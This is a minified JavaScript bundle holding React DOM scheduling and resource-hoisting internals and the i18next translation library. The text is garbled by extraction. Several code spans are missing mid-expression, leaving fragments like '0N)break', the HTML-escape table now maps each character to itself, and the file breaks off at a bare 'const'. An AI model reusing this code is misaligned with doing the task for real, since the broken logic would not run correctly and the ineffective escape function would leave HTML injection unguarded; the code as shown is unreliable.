d=a.pingCache;d!==null&&d.delete(o),a.pingedLanes|=a.suspendedLanes&s,a.warmLanes&=~s,tt===a&&(ze&s)===s&&(vt===4||vt===3&&(ze&62914560)===ze&&300>_n()-ff?(Ve&2)===0&&ll(a,0):Cv|=s,il===ze&&(il=0)),jr(a)}function bE(a,o){o===0&&(o=hw()),a=Di(a,o),a!==null&&(us(a,o),jr(a))}function I4(a){var o=a.memoizedState,s=0;o!==null&&(s=o.retryLane),bE(a,s)}function z4(a,o){var s=0;switch(a.tag){case 31:case 13:var d=a.stateNode,g=a.memoizedState;g!==null&&(s=g.retryLane);break;case 19:d=a.stateNode;break;case 22:d=a.stateNode._retryCache;break;default:throw Error(r(314))}d!==null&&d.delete(o),bE(a,s)}function $4(a,o){return Kp(a,o)}var yf=null,cl=null,Dv=!1,bf=!1,kv=!1,ai=0;function jr(a){a!==cl&&a.next===null&&(cl===null?yf=cl=a:cl=cl.next=a),bf=!0,Dv||(Dv=!0,U4())}function Fs(a,o){if(!kv&&bf){kv=!0;do for(var s=!1,d=yf;d!==null;){if(a!==0){var g=d.pendingLanes;if(g===0)var b=0;else{var C=d.suspendedLanes,N=d.pingedLanes;b=(1<<31-Nn(42|a)+1)-1,b&=g&~(C&~N),b=b&201326741?b&201326741|1:b?b|2:0}b!==0&&(s=!0,OE(d,b))}else b=ze,b=Su(d,d===tt?b:0,d.cancelPendingCommit!==null||d.timeoutHandle!==-1),(b&3)===0||cs(d,b)||(s=!0,OE(d,b));d=d.next}while(s);kv=!1}}function B4(){xE()}function xE(){bf=Dv=!1;var a=0;ai!==0&&Z4()&&(a=ai);for(var o=_n(),s=null,d=yf;d!==null;){var g=d.next,b=wE(d,o);b===0?(d.next=null,s===null?yf=g:s.next=g,g===null&&(cl=s)):(s=d,(a!==0||(b&3)!==0)&&(bf=!0)),d=g}jt!==0&&jt!==5||Fs(a),ai!==0&&(ai=0)}function wE(a,o){for(var s=a.suspendedLanes,d=a.pingedLanes,g=a.expirationTimes,b=a.pendingLanes&-62914561;0N)break;var te=k.transferSize,ie=k.initiatorType;te&&jE(ie)&&(k=k.responseEnd,C+=te*(k"u"?null:document;function qE(a,o,s){var d=ul;if(d&&typeof o=="string"&&o){var g=Yn(o);g='link[rel="'+a+'"][href="'+g+'"]',typeof s=="string"&&(g+='[crossorigin="'+s+'"]'),HE.has(g)||(HE.add(g),a={rel:a,crossOrigin:s,href:o},d.querySelector(g)===null&&(o=d.createElement("link"),Zt(o,"link",a),$t(o),d.head.appendChild(o)))}}function o$(a){da.D(a),qE("dns-prefetch",a,null)}function l$(a,o){da.C(a,o),qE("preconnect",a,o)}function s$(a,o,s){da.L(a,o,s);var d=ul;if(d&&a&&o){var g='link[rel="preload"][as="'+Yn(o)+'"]';o==="image"&&s&&s.imageSrcSet?(g+='[imagesrcset="'+Yn(s.imageSrcSet)+'"]',typeof s.imageSizes=="string"&&(g+='[imagesizes="'+Yn(s.imageSizes)+'"]')):g+='[href="'+Yn(a)+'"]';var b=g;switch(o){case"style":b=fl(a);break;case"script":b=dl(a)}tr.has(b)||(a=m({rel:"preload",href:o==="image"&&s&&s.imageSrcSet?void 0:a,as:o},s),tr.set(b,a),d.querySelector(g)!==null||o==="style"&&d.querySelector(Gs(b))||o==="script"&&d.querySelector(Ws(b))||(o=d.createElement("link"),Zt(o,"link",a),$t(o),d.head.appendChild(o)))}}function c$(a,o){da.m(a,o);var s=ul;if(s&&a){var d=o&&typeof o.as=="string"?o.as:"script",g='link[rel="modulepreload"][as="'+Yn(d)+'"][href="'+Yn(a)+'"]',b=g;switch(d){case"audioworklet":case"paintworklet":case"serviceworker":case"sharedworker":case"worker":case"script":b=dl(a)}if(!tr.has(b)&&(a=m({rel:"modulepreload",href:a},o),tr.set(b,a),s.querySelector(g)===null)){switch(d){case"audioworklet":case"paintworklet":case"serviceworker":case"sharedworker":case"worker":case"script":if(s.querySelector(Ws(b)))return}d=s.createElement("link"),Zt(d,"link",a),$t(d),s.head.appendChild(d)}}}function u$(a,o,s){da.S(a,o,s);var d=ul;if(d&&a){var g=Ro(d).hoistableStyles,b=fl(a);o=o||"default";var C=g.get(b);if(!C){var N={loading:0,preload:null};if(C=d.querySelector(Gs(b)))N.loading=5;else{a=m({rel:"stylesheet",href:a,"data-precedence":o},s),(s=tr.get(b))&&Zv(a,s);var k=C=d.createElement("link");$t(k),Zt(k,"link",a),k._p=new Promise(function(Y,te){k.onload=Y,k.onerror=te}),k.addEventListener("load",function(){N.loading|=1}),k.addEventListener("error",function(){N.loading|=2}),N.loading|=4,Ef(C,o,d)}C={type:"stylesheet",instance:C,count:1,state:N},g.set(b,C)}}}function f$(a,o){da.X(a,o);var s=ul;if(s&&a){var d=Ro(s).hoistableScripts,g=dl(a),b=d.get(g);b||(b=s.querySelector(Ws(g)),b||(a=m({src:a,async:!0},o),(o=tr.get(g))&&Qv(a,o),b=s.createElement("script"),$t(b),Zt(b,"link",a),s.head.appendChild(b)),b={type:"script",instance:b,count:1,state:null},d.set(g,b))}}function d$(a,o){da.M(a,o);var s=ul;if(s&&a){var d=Ro(s).hoistableScripts,g=dl(a),b=d.get(g);b||(b=s.querySelector(Ws(g)),b||(a=m({src:a,async:!0,type:"module"},o),(o=tr.get(g))&&Qv(a,o),b=s.createElement("script"),$t(b),Zt(b,"link",a),s.head.appendChild(b)),b={type:"script",instance:b,count:1,state:null},d.set(g,b))}}function FE(a,o,s,d){var g=(g=xe.current)?Of(g):null;if(!g)throw Error(r(446));switch(a){case"meta":case"title":return null;case"style":return typeof s.precedence=="string"&&typeof s.href=="string"?(o=fl(s.href),s=Ro(g).hoistableStyles,d=s.get(o),d||(d={type:"style",instance:null,count:0,state:null},s.set(o,d)),d):{type:"void",instance:null,count:0,state:null};case"link":if(s.rel==="stylesheet"&&typeof s.href=="string"&&typeof s.precedence=="string"){a=fl(s.href);var b=Ro(g).hoistableStyles,C=b.get(a);if(C||(g=g.ownerDocument||g,C={type:"stylesheet",instance:null,count:0,state:{loading:0,preload:null}},b.set(a,C),(b=g.querySelector(Gs(a)))&&!b._p&&(C.instance=b,C.state.loading=5),tr.has(a)||(s={rel:"preload",as:"style",href:s.href,crossOrigin:s.crossOrigin,integrity:s.integrity,media:s.media,hrefLang:s.hrefLang,referrerPolicy:s.referrerPolicy},tr.set(a,s),b||h$(g,a,s,C.state))),o&&d===null)throw Error(r(528,""));return C}if(o&&d!==null)throw Error(r(529,""));return null;case"script":return o=s.async,s=s.src,typeof s=="string"&&o&&typeof o!="function"&&typeof o!="symbol"?(o=dl(s),s=Ro(g).hoistableScripts,d=s.get(o),d||(d={type:"script",instance:null,count:0,state:null},s.set(o,d)),d):{type:"void",instance:null,count:0,state:null};default:throw Error(r(444,a))}}function fl(a){return'href="'+Yn(a)+'"'}function Gs(a){return'link[rel="stylesheet"]['+a+"]"}function VE(a){return m({},a,{"data-precedence":a.precedence,precedence:null})}function h$(a,o,s,d){a.querySelector('link[rel="preload"][as="style"]['+o+"]")?d.loading=1:(o=a.createElement("link"),d.preload=o,o.addEventListener("load",function(){return d.loading|=1}),o.addEventListener("error",function(){return d.loading|=2}),Zt(o,"link",s),$t(o),a.head.appendChild(o))}function dl(a){return'[src="'+Yn(a)+'"]'}function Ws(a){return"script[async]"+a}function KE(a,o,s){if(o.count++,o.instance===null)switch(o.type){case"style":var d=a.querySelector('style[data-href~="'+Yn(s.href)+'"]');if(d)return o.instance=d,$t(d),d;var g=m({},s,{"data-href":s.href,"data-precedence":s.precedence,href:null,precedence:null});return d=(a.ownerDocument||a).createElement("style"),$t(d),Zt(d,"style",g),Ef(d,s.precedence,a),o.instance=d;case"stylesheet":g=fl(s.href);var b=a.querySelector(Gs(g));if(b)return o.state.loading|=4,o.instance=b,$t(b),b;d=VE(s),(g=tr.get(g))&&Zv(d,g),b=(a.ownerDocument||a).createElement("link"),$t(b);var C=b;return C._p=new Promise(function(N,k){C.onload=N,C.onerror=k}),Zt(b,"link",d),o.state.loading|=4,Ef(b,s.precedence,a),o.instance=b;case"script":return b=dl(s.src),(g=a.querySelector(Ws(b)))?(o.instance=g,$t(g),g):(d=s,(g=tr.get(b))&&(d=m({},s),Qv(d,g)),a=a.ownerDocument||a,g=a.createElement("script"),$t(g),Zt(g,"link",d),a.head.appendChild(g),o.instance=g);case"void":return null;default:throw Error(r(443,o.type))}else o.type==="stylesheet"&&(o.state.loading&4)===0&&(d=o.instance,o.state.loading|=4,Ef(d,s.precedence,a));return o.instance}function Ef(a,o,s){for(var d=s.querySelectorAll('link[rel="stylesheet"][data-precedence],style[data-precedence]'),g=d.length?d[d.length-1]:null,b=g,C=0;C title"):null)}function p$(a,o,s){if(s===1||o.itemProp!=null)return!1;switch(a){case"meta":case"title":return!0;case"style":if(typeof o.precedence!="string"||typeof o.href!="string"||o.href==="")break;return!0;case"link":if(typeof o.rel!="string"||typeof o.href!="string"||o.href===""||o.onLoad||o.onError)break;return o.rel==="stylesheet"?(a=o.disabled,typeof o.precedence=="string"&&a==null):!0;case"script":if(o.async&&typeof o.async!="function"&&typeof o.async!="symbol"&&!o.onLoad&&!o.onError&&o.src&&typeof o.src=="string")return!0}return!1}function WE(a){return!(a.type==="stylesheet"&&(a.state.loading&3)===0)}function m$(a,o,s,d){if(s.type==="stylesheet"&&(typeof d.media!="string"||matchMedia(d.media).matches!==!1)&&(s.state.loading&4)===0){if(s.instance===null){var g=fl(d.href),b=o.querySelector(Gs(g));if(b){o=b._p,o!==null&&typeof o=="object"&&typeof o.then=="function"&&(a.count++,a=Cf.bind(a),o.then(a,a)),s.state.loading|=4,s.instance=b,$t(b);return}b=o.ownerDocument||o,d=VE(d),(g=tr.get(g))&&Zv(d,g),b=b.createElement("link"),$t(b);var C=b;C._p=new Promise(function(N,k){C.onload=N,C.onerror=k}),Zt(b,"link",d),s.instance=b}a.stylesheets===null&&(a.stylesheets=new Map),a.stylesheets.set(s,o),(o=s.state.preload)&&(s.state.loading&3)===0&&(a.count++,s=Cf.bind(a),o.addEventListener("load",s),o.addEventListener("error",s))}}var Jv=0;function v$(a,o){return a.stylesheets&&a.count===0&&Tf(a,a.stylesheets),0Jv?50:800)+o);return a.unsuspend=s,function(){a.unsuspend=null,clearTimeout(d),clearTimeout(g)}}:null}function Cf(){if(this.count--,this.count===0&&(this.imgCount===0||!this.waitingForImages)){if(this.stylesheets)Tf(this,this.stylesheets);else if(this.unsuspend){var a=this.unsuspend;this.unsuspend=null,a()}}}var _f=null;function Tf(a,o){a.stylesheets=null,a.unsuspend!==null&&(a.count++,_f=new Map,o.forEach(g$,a),_f=null,Cf.call(a))}function g$(a,o){if(!(o.state.loading&4)){var s=_f.get(a);if(s)var d=s.get(null);else{s=new Map,_f.set(a,s);for(var g=a.querySelectorAll("link[data-precedence],style[data-precedence]"),b=0;b"u"||typeof __REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE!="function"))try{__REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE(e)}catch(t){console.error(t)}}return e(),sg.exports=R$(),sg.exports}var k$=D$();const Te=e=>typeof e=="string",nc=()=>{let e,t;const n=new Promise((r,i)=>{e=r,t=i});return n.resolve=e,n.reject=t,n},bA=e=>e==null?"":""+e,L$=(e,t,n)=>{e.forEach(r=>{t[r]&&(n[r]=t[r])})},I$=/###/g,xA=e=>e&&e.indexOf("###")>-1?e.replace(I$,"."):e,wA=e=>!e||Te(e),gc=(e,t,n)=>{const r=Te(t)?t.split("."):t;let i=0;for(;i{const{obj:r,k:i}=gc(e,t,Object);if(r!==void 0||t.length===1){r[i]=n;return}let l=t[t.length-1],c=t.slice(0,t.length-1),u=gc(e,c,Object);for(;u.obj===void 0&&c.length;)l=`${c[c.length-1]}.${l}`,c=c.slice(0,c.length-1),u=gc(e,c,Object),u?.obj&&typeof u.obj[`${u.k}.${l}`]<"u"&&(u.obj=void 0);u.obj[`${u.k}.${l}`]=n},z$=(e,t,n,r)=>{const{obj:i,k:l}=gc(e,t,Object);i[l]=i[l]||[],i[l].push(n)},gd=(e,t)=>{const{obj:n,k:r}=gc(e,t);if(n&&Object.prototype.hasOwnProperty.call(n,r))return n[r]},$$=(e,t,n)=>{const r=gd(e,n);return r!==void 0?r:gd(t,n)},cM=(e,t,n)=>{for(const r in t)r!=="__proto__"&&r!=="constructor"&&(r in e?Te(e[r])||e[r]instanceof String||Te(t[r])||t[r]instanceof String?n&&(e[r]=t[r]):cM(e[r],t[r],n):e[r]=t[r]);return e},pl=e=>e.replace(/[\-\[\]\/\{\}\(\)\*\+\?\.\\\^\$\|]/g,"\\$&");var B$={"&":"&","<":"<",">":">",'"':""","'":"'","/":"/"};const U$=e=>Te(e)?e.replace(/[&<>"'\/]/g,t=>B$[t]):e;class H${constructor(t){this.capacity=t,this.regExpMap=new Map,this.regExpQueue=[]}getRegExp(t){const n=this.regExpMap.get(t);if(n!==void 0)return n;const r=new RegExp(t);return this.regExpQueue.length===this.capacity&&this.regExpMap.delete(this.regExpQueue.shift()),this.regExpMap.set(t,r),this.regExpQueue.push(t),r}}const q$=[" ",",","?","!",";"],F$=new H$(20),V$=(e,t,n)=>{t=t||"",n=n||"";const r=q$.filter(c=>t.indexOf(c)<0&&n.indexOf(c)<0);if(r.length===0)return!0;const i=F$.getRegExp(`(${r.map(c=>c==="?"?"\\?":c).join("|")})`);let l=!i.test(e);if(!l){const c=e.indexOf(n);c>0&&!i.test(e.substring(0,c))&&(l=!0)}return l},a0=(e,t,n=".")=>{if(!e)return;if(e[t])return Object.prototype.hasOwnProperty.call(e,t)?e[t]:void 0;const r=t.split(n);let i=e;for(let l=0;l-1&&fe?.replace("_","-"),K$={type:"logger",log(e){this.output("log",e)},warn(e){this.output("warn",e)},error(e){this.output("error",e)},output(e,t){console?.[e]?.apply?.(console,t)}};class yd{constructor(t,n={}){this.init(t,n)}init(t,n={}){this.prefix=n.prefix||"i18next:",this.logger=t||K$,this.options=n,this.debug=n.debug}log(...t){return this.forward(t,"log","",!0)}warn(...t){return this.forward(t,"warn","",!0)}error(...t){return this.forward(t,"error","")}deprecate(...t){return this.forward(t,"warn","WARNING DEPRECATED: ",!0)}forward(t,n,r,i){return i&&!this.debug?null:(Te(t[0])&&(t[0]=`${r}${this.prefix} ${t[0]}`),this.logger[n](t))}create(t){return new yd(this.logger,{prefix:`${this.prefix}:${t}:`,...this.options})}clone(t){return t=t||this.options,t.prefix=t.prefix||this.prefix,new yd(this.logger,t)}}var kr=new yd;let Ah=class{constructor(){this.observers={}}on(t,n){return t.split(" ").forEach(r=>{this.observers[r]||(this.observers[r]=new Map);const i=this.observers[r].get(n)||0;this.observers[r].set(n,i+1)}),this}off(t,n){if(this.observers[t]){if(!n){delete this.observers[t];return}this.observers[t].delete(n)}}emit(t,...n){this.observers[t]&&Array.from(this.observers[t].entries()).forEach(([i,l])=>{for(let c=0;c{for(let c=0;c-1&&this.options.ns.splice(n,1)}getResource(t,n,r,i={}){const l=i.keySeparator!==void 0?i.keySeparator:this.options.keySeparator,c=i.ignoreJSONStructure!==void 0?i.ignoreJSONStructure:this.options.ignoreJSONStructure;let u;t.indexOf(".")>-1?u=t.split("."):(u=[t,n],r&&(Array.isArray(r)?u.push(...r):Te(r)&&l?u.push(...r.split(l)):u.push(r)));const f=gd(this.data,u);return!f&&!n&&!r&&t.indexOf(".")>-1&&(t=u[0],n=u[1],r=u.slice(2).join(".")),f||!c||!Te(r)?f:a0(this.data?.[t]?.[n],r,l)}addResource(t,n,r,i,l={silent:!1}){const c=l.keySeparator!==void 0?l.keySeparator:this.options.keySeparator;let u=[t,n];r&&(u=u.concat(c?r.split(c):r)),t.indexOf(".")>-1&&(u=t.split("."),i=n,n=u[1]),this.addNamespaces(n),SA(this.data,u,i),l.silent||this.emit("added",t,n,r,i)}addResources(t,n,r,i={silent:!1}){for(const l in r)(Te(r[l])||Array.isArray(r[l]))&&this.addResource(t,n,l,r[l],{silent:!0});i.silent||this.emit("added",t,n,r)}addResourceBundle(t,n,r,i,l,c={silent:!1,skipCopy:!1}){let u=[t,n];t.indexOf(".")>-1&&(u=t.split("."),i=r,r=n,n=u[1]),this.addNamespaces(n);let f=gd(this.data,u)||{};c.skipCopy||(r=JSON.parse(JSON.stringify(r))),i?cM(f,r,l):f={...f,...r},SA(this.data,u,f),c.silent||this.emit("added",t,n,r)}removeResourceBundle(t,n){this.hasResourceBundle(t,n)&&delete this.data[t][n],this.removeNamespaces(n),this.emit("removed",t,n)}hasResourceBundle(t,n){return this.getResource(t,n)!==void 0}getResourceBundle(t,n){return n||(n=this.options.defaultNS),this.getResource(t,n)}getDataByLanguage(t){return this.data[t]}hasLanguageSomeTranslations(t){const n=this.getDataByLanguage(t);return!!(n&&Object.keys(n)||[]).find(i=>n[i]&&Object.keys(n[i]).length>0)}toJSON(){return this.data}}var uM={processors:{},addPostProcessor(e){this.processors[e.name]=e},handle(e,t,n,r,i){return e.forEach(l=>{t=this.processors[l]?.process(t,n,r,i)??t}),t}};const fM=Symbol("i18next/PATH_KEY");function Y$(){const e=[],t=Object.create(null);let n;return t.get=(r,i)=>(n?.revoke?.(),i===fM?e:(e.push(i),n=Proxy.revocable(r,t),n.proxy)),Proxy.revocable(Object.create(null),t).proxy}function i0(e,t){const{[fM]:n}=e(Y$());return n.join(t?.keySeparator??".")}const EA={},dg=e=>!Te(e)&&typeof e!="boolean"&&typeof e!="number";class bd extends Ah{constructor(t,n={}){super(),L$(["resourceStore","languageUtils","pluralResolver","interpolator","backendConnector","i18nFormat","utils"],t,this),this.options=n,this.options.keySeparator===void 0&&(this.options.keySeparator="."),this.logger=kr.create("translator")}changeLanguage(t){t&&(this.language=t)}exists(t,n={interpolation:{}}){const r={...n};if(t==null)return!1;const i=this.resolve(t,r);if(i?.res===void 0)return!1;const l=dg(i.res);return!(r.returnObjects===!1&&l)}extractFromKey(t,n){let r=n.nsSeparator!==void 0?n.nsSeparator:this.options.nsSeparator;r===void 0&&(r=":");const i=n.keySeparator!==void 0?n.keySeparator:this.options.keySeparator;let l=n.ns||this.options.defaultNS||[];const c=r&&t.indexOf(r)>-1,u=!this.options.userDefinedKeySeparator&&!n.keySeparator&&!this.options.userDefinedNsSeparator&&!n.nsSeparator&&!V$(t,r,i);if(c&&!u){const f=t.match(this.interpolator.nestingRegexp);if(f&&f.length>0)return{key:t,namespaces:Te(l)?[l]:l};const h=t.split(r);(r!==i||r===i&&this.options.ns.indexOf(h[0])>-1)&&(l=h.shift()),t=h.join(i)}return{key:t,namespaces:Te(l)?[l]:l}}translate(t,n,r){let i=typeof n=="object"?{...n}:n;if(typeof i!="object"&&this.options.overloadTranslationOptionHandler&&(i=this.options.overloadTranslationOptionHandler(arguments)),typeof i=="object"&&(i={...i}),i||(i={}),t==null)return"";typeof t=="function"&&(t=i0(t,{...this.options,...i})),Array.isArray(t)||(t=[String(t)]);const l=i.returnDetails!==void 0?i.returnDetails:this.options.returnDetails,c=i.keySeparator!==void 0?i.keySeparator:this.options.keySeparator,{key:u,namespaces:f}=this.extractFromKey(t[t.length-1],i),h=f[f.length-1];let p=i.nsSeparator!==void 0?i.nsSeparator:this.options.nsSeparator;p===void 0&&(p=":");const m=i.lng||this.language,y=i.appendNamespaceToCIMode||this.options.appendNamespaceToCIMode;if(m?.toLowerCase()==="cimode")return y?l?{res:`${h}${p}${u}`,usedKey:u,exactUsedKey:u,usedLng:m,usedNS:h,usedParams:this.getUsedParamsDetails(i)}:`${h}${p}${u}`:l?{res:u,usedKey:u,exactUsedKey:u,usedLng:m,usedNS:h,usedParams:this.getUsedParamsDetails(i)}:u;const x=this.resolve(t,i);let S=x?.res;const w=x?.usedKey||u,O=x?.exactUsedKey||u,A=["[object Number]","[object Function]","[object RegExp]"],_=i.joinArrays!==void 0?i.joinArrays:this.options.joinArrays,T=!this.i18nFormat||this.i18nFormat.handleAsObject,j=i.count!==void 0&&!Te(i.count),M=bd.hasDefaultValue(i),P=j?this.pluralResolver.getSuffix(m,i.count,i):"",R=i.ordinal&&j?this.pluralResolver.getSuffix(m,i.count,{ordinal:!1}):"",I=j&&!i.ordinal&&i.count===0,B=I&&i[`defaultValue${this.options.pluralSeparator}zero`]||i[`defaultValue${P}`]||i[`defaultValue${R}`]||i.defaultValue;let q=S;T&&!S&&M&&(q=B);const U=dg(q),V=Object.prototype.toString.apply(q);if(T&&q&&U&&A.indexOf(V)<0&&!(Te(_)&&Array.isArray(q))){if(!i.returnObjects&&!this.options.returnObjects){this.options.returnedObjectHandler||this.logger.warn("accessing an object - but returnObjects options is not enabled!");const oe=this.options.returnedObjectHandler?this.options.returnedObjectHandler(w,q,{...i,ns:f}):`key '${u} (${this.language})' returned an object instead of string.`;return l?(x.res=oe,x.usedParams=this.getUsedParamsDetails(i),x):oe}if(c){const oe=Array.isArray(q),le=oe?[]:{},ce=oe?O:w;for(const L in q)if(Object.prototype.hasOwnProperty.call(q,L)){const F=`${ce}${c}${L}`;M&&!S?le[L]=this.translate(F,{...i,defaultValue:dg(B)?B[L]:void 0,joinArrays:!1,ns:f}):le[L]=this.translate(F,{...i,joinArrays:!1,ns:f}),le[L]===F&&(le[L]=q[L])}S=le}}else if(T&&Te(_)&&Array.isArray(S))S=S.join(_),S&&(S=this.extendTranslation(S,t,i,r));else{let oe=!1,le=!1;!this.isValidLookup(S)&&M&&(oe=!0,S=B),this.isValidLookup(S)||(le=!0,S=u);const L=(i.missingKeyNoValueFallbackToKey||this.options.missingKeyNoValueFallbackToKey)&&le?void 0:S,F=M&&B!==S&&this.options.updateMissing;if(le||oe||F){if(this.logger.log(F?"updateKey":"missingKey",m,h,u,F?B:S),c){const D=this.resolve(u,{...i,keySeparator:!1});D&&D.res&&this.logger.warn("Seems the loaded translations were in flat JSON format instead of nested. Either set keySeparator: false on init or make sure your translations are published in nested format.")}let $=[];const Z=this.languageUtils.getFallbackCodes(this.options.fallbackLng,i.lng||this.language);if(this.options.saveMissingTo==="fallback"&&Z&&Z[0])for(let D=0;D{const se=M&&ae!==S?ae:L;this.options.missingKeyHandler?this.options.missingKeyHandler(D,h,X,se,F,i):this.backendConnector?.saveMissing&&this.backendConnector.saveMissing(D,h,X,se,F,i),this.emit("missingKey",D,h,X,S)};this.options.saveMissing&&(this.options.saveMissingPlurals&&j?$.forEach(D=>{const X=this.pluralResolver.getSuffixes(D,i);I&&i[`defaultValue${this.options.pluralSeparator}zero`]&&X.indexOf(`${this.options.pluralSeparator}zero`)<0&&X.push(`${this.options.pluralSeparator}zero`),X.forEach(ae=>{de([D],u+ae,i[`defaultValue${ae}`]||B)})}):de($,u,B))}S=this.extendTranslation(S,t,i,x,r),le&&S===u&&this.options.appendNamespaceToMissingKey&&(S=`${h}${p}${u}`),(le||oe)&&this.options.parseMissingKeyHandler&&(S=this.options.parseMissingKeyHandler(this.options.appendNamespaceToMissingKey?`${h}${p}${u}`:u,oe?S:void 0,i))}return l?(x.res=S,x.usedParams=this.getUsedParamsDetails(i),x):S}extendTranslation(t,n,r,i,l){if(this.i18nFormat?.parse)t=this.i18nFormat.parse(t,{...this.options.interpolation.defaultVariables,...r},r.lng||this.language||i.usedLng,i.usedNS,i.usedKey,{resolved:i});else if(!r.skipInterpolation){r.interpolation&&this.interpolator.init({...r,interpolation:{...this.options.interpolation,...r.interpolation}});const f=Te(t)&&(r?.interpolation?.skipOnVariables!==void 0?r.interpolation.skipOnVariables:this.options.interpolation.skipOnVariables);let h;if(f){const m=t.match(this.interpolator.nestingRegexp);h=m&&m.length}let p=r.replace&&!Te(r.replace)?r.replace:r;if(this.options.interpolation.defaultVariables&&(p={...this.options.interpolation.defaultVariables,...p}),t=this.interpolator.interpolate(t,p,r.lng||this.language||i.usedLng,r),f){const m=t.match(this.interpolator.nestingRegexp),y=m&&m.length;hl?.[0]===m[0]&&!r.context?(this.logger.warn(`It seems you are nesting recursively key: ${m[0]} in key: ${n[0]}`),null):this.translate(...m,n),r)),r.interpolation&&this.interpolator.reset()}const c=r.postProcess||this.options.postProcess,u=Te(c)?[c]:c;return t!=null&&u?.length&&r.applyPostProcessor!==!1&&(t=uM.handle(u,t,n,this.options&&this.options.postProcessPassResolved?{i18nResolved:{...i,usedParams:this.getUsedParamsDetails(r)},...r}:r,this)),t}resolve(t,n={}){let r,i,l,c,u;return Te(t)&&(t=[t]),t.forEach(f=>{if(this.isValidLookup(r))return;const h=this.extractFromKey(f,n),p=h.key;i=p;let m=h.namespaces;this.options.fallbackNS&&(m=m.concat(this.options.fallbackNS));const y=n.count!==void 0&&!Te(n.count),x=y&&!n.ordinal&&n.count===0,S=n.context!==void 0&&(Te(n.context)||typeof n.context=="number")&&n.context!=="",w=n.lngs?n.lngs:this.languageUtils.toResolveHierarchy(n.lng||this.language,n.fallbackLng);m.forEach(O=>{this.isValidLookup(r)||(u=O,!EA[`${w[0]}-${O}`]&&this.utils?.hasLoadedNamespace&&!this.utils?.hasLoadedNamespace(u)&&(EA[`${w[0]}-${O}`]=!0,this.logger.warn(`key "${i}" for languages "${w.join(", ")}" won't get resolved as namespace "${u}" was not yet loaded`,"This means something IS WRONG in your setup. You access the t function before i18next.init / i18next.loadNamespace / i18next.changeLanguage was done. Wait for the callback or Promise to resolve before accessing it!!!")),w.forEach(A=>{if(this.isValidLookup(r))return;c=A;const _=[p];if(this.i18nFormat?.addLookupKeys)this.i18nFormat.addLookupKeys(_,p,A,O,n);else{let j;y&&(j=this.pluralResolver.getSuffix(A,n.count,n));const M=`${this.options.pluralSeparator}zero`,P=`${this.options.pluralSeparator}ordinal${this.options.pluralSeparator}`;if(y&&(n.ordinal&&j.indexOf(P)===0&&_.push(p+j.replace(P,this.options.pluralSeparator)),_.push(p+j),x&&_.push(p+M)),S){const R=`${p}${this.options.contextSeparator||"_"}${n.context}`;_.push(R),y&&(n.ordinal&&j.indexOf(P)===0&&_.push(R+j.replace(P,this.options.pluralSeparator)),_.push(R+j),x&&_.push(R+M))}}let T;for(;T=_.pop();)this.isValidLookup(r)||(l=T,r=this.getResource(A,O,T,n))}))})}),{res:r,usedKey:i,exactUsedKey:l,usedLng:c,usedNS:u}}isValidLookup(t){return t!==void 0&&!(!this.options.returnNull&&t===null)&&!(!this.options.returnEmptyString&&t==="")}getResource(t,n,r,i={}){return this.i18nFormat?.getResource?this.i18nFormat.getResource(t,n,r,i):this.resourceStore.getResource(t,n,r,i)}getUsedParamsDetails(t={}){const n=["defaultValue","ordinal","context","replace","lng","lngs","fallbackLng","ns","keySeparator","nsSeparator","returnObjects","returnDetails","joinArrays","postProcess","interpolation"],r=t.replace&&!Te(t.replace);let i=r?t.replace:t;if(r&&typeof t.count<"u"&&(i.count=t.count),this.options.interpolation.defaultVariables&&(i={...this.options.interpolation.defaultVariables,...i}),!r){i={...i};for(const l of n)delete i[l]}return i}static hasDefaultValue(t){const n="defaultValue";for(const r in t)if(Object.prototype.hasOwnProperty.call(t,r)&&n===r.substring(0,n.length)&&t[r]!==void 0)return!0;return!1}}class AA{constructor(t){this.options=t,this.supportedLngs=this.options.supportedLngs||!1,this.logger=kr.create("languageUtils")}getScriptPartFromCode(t){if(t=xc(t),!t||t.indexOf("-")<0)return null;const n=t.split("-");return n.length===2||(n.pop(),n[n.length-1].toLowerCase()==="x")?null:this.formatLanguageCode(n.join("-"))}getLanguagePartFromCode(t){if(t=xc(t),!t||t.indexOf("-")<0)return t;const n=t.split("-");return this.formatLanguageCode(n[0])}formatLanguageCode(t){if(Te(t)&&t.indexOf("-")>-1){let n;try{n=Intl.getCanonicalLocales(t)[0]}catch{}return n&&this.options.lowerCaseLng&&(n=n.toLowerCase()),n||(this.options.lowerCaseLng?t.toLowerCase():t)}return this.options.cleanCode||this.options.lowerCaseLng?t.toLowerCase():t}isSupportedCode(t){return(this.options.load==="languageOnly"||this.options.nonExplicitSupportedLngs)&&(t=this.getLanguagePartFromCode(t)),!this.supportedLngs||!this.supportedLngs.length||this.supportedLngs.indexOf(t)>-1}getBestMatchFromCodes(t){if(!t)return null;let n;return t.forEach(r=>{if(n)return;const i=this.formatLanguageCode(r);(!this.options.supportedLngs||this.isSupportedCode(i))&&(n=i)}),!n&&this.options.supportedLngs&&t.forEach(r=>{if(n)return;const i=this.getScriptPartFromCode(r);if(this.isSupportedCode(i))return n=i;const l=this.getLanguagePartFromCode(r);if(this.isSupportedCode(l))return n=l;n=this.options.supportedLngs.find(c=>{if(c===l)return c;if(!(c.indexOf("-")<0&&l.indexOf("-")<0)&&(c.indexOf("-")>0&&l.indexOf("-")<0&&c.substring(0,c.indexOf("-"))===l||c.indexOf(l)===0&&l.length>1))return c})}),n||(n=this.getFallbackCodes(this.options.fallbackLng)[0]),n}getFallbackCodes(t,n){if(!t)return[];if(typeof t=="function"&&(t=t(n)),Te(t)&&(t=[t]),Array.isArray(t))return t;if(!n)return t.default||[];let r=t[n];return r||(r=t[this.getScriptPartFromCode(n)]),r||(r=t[this.formatLanguageCode(n)]),r||(r=t[this.getLanguagePartFromCode(n)]),r||(r=t.default),r||[]}toResolveHierarchy(t,n){const r=this.getFallbackCodes((n===!1?[]:n)||this.options.fallbackLng||[],t),i=[],l=c=>{c&&(this.isSupportedCode(c)?i.push(c):this.logger.warn(`rejecting language code not found in supportedLngs: ${c}`))};return Te(t)&&(t.indexOf("-")>-1||t.indexOf("_")>-1)?(this.options.load!=="languageOnly"&&l(this.formatLanguageCode(t)),this.options.load!=="languageOnly"&&this.options.load!=="currentOnly"&&l(this.getScriptPartFromCode(t)),this.options.load!=="currentOnly"&&l(this.getLanguagePartFromCode(t))):Te(t)&&l(this.formatLanguageCode(t)),r.forEach(c=>{i.indexOf(c)<0&&l(this.formatLanguageCode(c))}),i}}const 